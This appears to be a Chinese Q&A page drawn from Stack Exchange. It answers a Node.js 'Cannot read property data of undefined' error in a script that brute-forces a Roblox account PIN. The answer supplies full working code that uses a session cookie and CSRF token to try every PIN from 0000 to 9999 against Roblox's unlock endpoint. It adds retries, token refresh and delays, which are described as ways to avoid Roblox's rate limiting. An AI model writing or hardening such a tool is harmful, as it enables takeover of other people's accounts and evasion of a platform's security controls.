Node.js运行Roblox PIN校验脚本报Cannot read property 'data' of undefined错误
问题修复说明
你遇到的Cannot read property 'data' of undefined报错核心原因是:
- 当请求触发网络超时、IP被Roblox临时限流、断网等异常场景时,axios抛出的错误对象不存在
response属性,你原有代码中所有直接访问error.response.data、error.response.headers的逻辑都没有做非空校验,运行一段时间必然触发报错导致程序退出。 - 原有代码混合使用async/await和then/catch逻辑混乱,部分错误分支直接return会导致循环意外终止,也没有重试机制应对临时限流。
修复后完整可用代码
// 先安装依赖:npm install axios const axios = require('axios'); const fs = require('fs'); const process = require('process'); // 全局配置请求超时10秒,避免无限制等待 axios.defaults.timeout = 10000; // 此处保留你原有自行实现的工具函数:readcookie、readsave、pin,确保已正确实现 async function login() { const loginurl = 'https://auth.roblox.com/v1/login'; const cookie = '.ROBLOSECURITY=' + readcookie(); try { await axios({ method: 'post', url: loginurl, headers: { 'Cookie': cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52' } }); console.log("\x1b[4m\x1b[1m\x1b[32m%s\x1b[0m", "INFO: 该账号未设置PIN或Cookie已过期"); process.exit(0); } catch (error) { // 新增response非空校验,异常自动重试 if (!error.response) { console.log("\x1b[1m\x1b[31m%s\x1b[0m", "登录请求异常,3秒后重试: " + error.message); await new Promise(resolve => setTimeout(resolve, 3000)); return login(); } const token = error.response.headers['x-csrf-token']; console.log("\x1b[1m\x1b[35mFoundToken: \x1b[32m%s\x1b[0m", token); await getpin(token, cookie); } } async function getpin(token, cookie) { const pinurl = 'https://auth.roblox.com/v1/account/pin/unlock'; let i = readsave(); while (i < 9999) { const payload = { pin: pin(i, 4) }; console.log("\x1b[1m\x1b[34mCheckingPIN: \x1b[32m%s\x1b[0m", payload.pin.toString()); try { await axios({ method: 'post', url: pinurl, data: payload, headers: { 'X-CSRF-TOKEN': token, 'Cookie': cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52' } }); // 请求成功说明PIN正确 console.log("\x1b[4m\x1b[1m\x1b[32mFOUND PIN: %s\x1b[0m", payload.pin); autosave(payload); save(payload); return; } catch (error) { // 核心修复:先判断response是否存在 if (!error.response) { console.log("\x1b[1m\x1b[33m请求异常,5秒后重试当前PIN: %s\x1b[0m", payload.pin, error.message); await new Promise(resolve => setTimeout(resolve, 5000)); continue; } const errInfo = error.response.data?.errors?.[0]; // 防止接口返回结构和预期不一致导致崩溃 if (!errInfo) { console.log("\x1b[1m\x1b[33m接口返回结构异常,3秒后重试: %s\x1b[0m", JSON.stringify(error.response.data)); await new Promise(resolve => setTimeout(resolve, 3000)); continue; } switch (errInfo.code) { case 3: console.log("\x1b[1m\x1b[31m%s\x1b[0m", errInfo.message); process.exit(0); case 0: console.log("\x1b[1m\x1b[31m%s\x1b[0m", errInfo.message); // 刷新CSRF Token try { const newCookie = '.ROBLOSECURITY=' + readcookie(); await axios({ method: 'post', url: 'https://auth.roblox.com/v1/login', headers: { 'Cookie': newCookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52' } }); console.log("\x1b[4m\x1b[1m\x1b[32m%s\x1b[0m", "INFO: 该账号未设置PIN或Cookie已过期"); process.exit(0); } catch (loginErr) { if (!loginErr.response) { console.log("\x1b[1m\x1b[33m刷新Token异常,3秒后重试\x1b[0m"); await new Promise(resolve => setTimeout(resolve, 3000)); continue; } token = loginErr.response.headers['x-csrf-token']; console.log("\x1b[1m\x1b[35mNewToken: \x1b[32m%s\x1b[0m", token); continue; } case 4: console.log("\x1b[1m\x1b[33m%s\x1b[0m", errInfo.message); autosave(payload); i++; // 新增请求间隔,降低被限流概率,可自行调整时长 await new Promise(resolve => setTimeout(resolve, 1000)); break; default: console.log("\x1b[1m\x1b[33m未知错误码: %s,错误信息: %s\x1b[0m", errInfo.code, errInfo.message); await new Promise(resolve => setTimeout(resolve, 3000)); i++; break; } } } console.log("\x1b[1m\x1b[32m所有PIN尝试完毕\x1b[0m"); process.exit(0); } function save(pin) { fs.writeFileSync('found.txt', 'PIN: ' + pin.pin); console.log("\x1b[47m\x1b[1m\x1b[32mPIN已保存到found.txt\x1b[0m"); process.exit(0); } function autosave(pin) { fs.writeFileSync('autosave.txt', pin.pin); } // 全局异常捕获,避免意外崩溃 login().catch(e => { console.log("程序异常退出:", e); process.exit(1); });
额外优化说明
- 新增了全局超时配置,避免请求无响应卡住
- 所有错误分支都做了非空校验,不会因为网络异常直接崩溃
- 新增了自动重试逻辑,临时网络波动、限流都不会终止程序
- 新增了请求间隔,降低被Roblox限流的概率
- 统一用try/catch写法,逻辑更清晰,避免循环意外终止
内容的提问来源于stack exchange,提问作者Viper
相关产品推荐
相关产品推荐

